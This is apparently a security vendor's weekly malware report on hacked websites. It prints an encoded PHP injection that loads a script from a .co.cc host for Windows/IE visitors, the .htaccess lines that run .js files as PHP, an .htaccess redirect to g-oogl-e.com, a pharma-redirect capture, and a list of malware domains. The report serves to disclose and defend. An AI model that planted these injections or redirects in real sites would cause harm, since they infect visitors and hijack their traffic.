Weekly malware update. You can track all updates by following our malware_updates category.
- *If your site has been affected with any of these issues, contact us at support@sucuri.net or visit http://sucuri.net to get help or if you want to share some information with us.
.co.cc malicious entries
We reported those issues a while ago (here and here), but we are still seeing a large number of sites infected. The following code is added to a javascript file:
<?php $de=”HTTP_USER_AGENT“;$ar=$_SERVER[$de];if(stristr($ar,”MSIE“)&&stristr($ar,”Windows“))echo “Document.write(unescape(“%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6F%69%77%64%64%2E%63%6F%2E%63%63%2F%34%31%22%3E%3C%2F%73%63%72%69%..74%3E`));”
With an .htaccess modification to make such code work:
AddHandler php5-script .js
AddType application/x-httpd-php .js
The domains being used to distribute the malware change every few days and those are the ones we identified so far:
google-analytisc.co.cc
js-o-kcjh.cz.cc
oiihgw.co.cc
oiwdd.co.cc
pojdue.co.cc
Note that due to the nature of this malware, it will only infected users using Windows + IE and the site will not get blacklisted.
g-oogl-e.com and .htaccess redirection
Seeing a few sites with the following .htaccess added to all sub-folders, to redirect users to malware/spam/etc:
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://g-oogl-e.com/%{REMOTE_ADDR}
goodle-search.com and pharma redirection
Another one that we are tracking and seeing many infected sites. The attackers added a malicious code to redirect any visitor coming from a search engine (referer equals to google.com) to a site displaying pharmacy products.
This is what the redirection looks like:
$ curl -D – -A “Windows MSIE” –referer “http://www.google.com/” infectedsite.com
HTTP/1.1 302 Found
Date: Thu, 27 Jan 2011 18:28:47 GMT
Server: LiteSpeed
Connection: close
X-Powered-By: PHP/5.2.13
Location: http://goodle-search.com/in.cgi?19&seoref=http%253A%252F%252Fwww.google.com..
Which then redirects to http://onlinechemist24.org/medicine-products-bestsellers-en.html and other sites..
To avoid getting your site blacklisted or with malware, visit http://sucuri.net to learn about our site security monitoring and malware removal solutions.
1 comment
Comments are closed.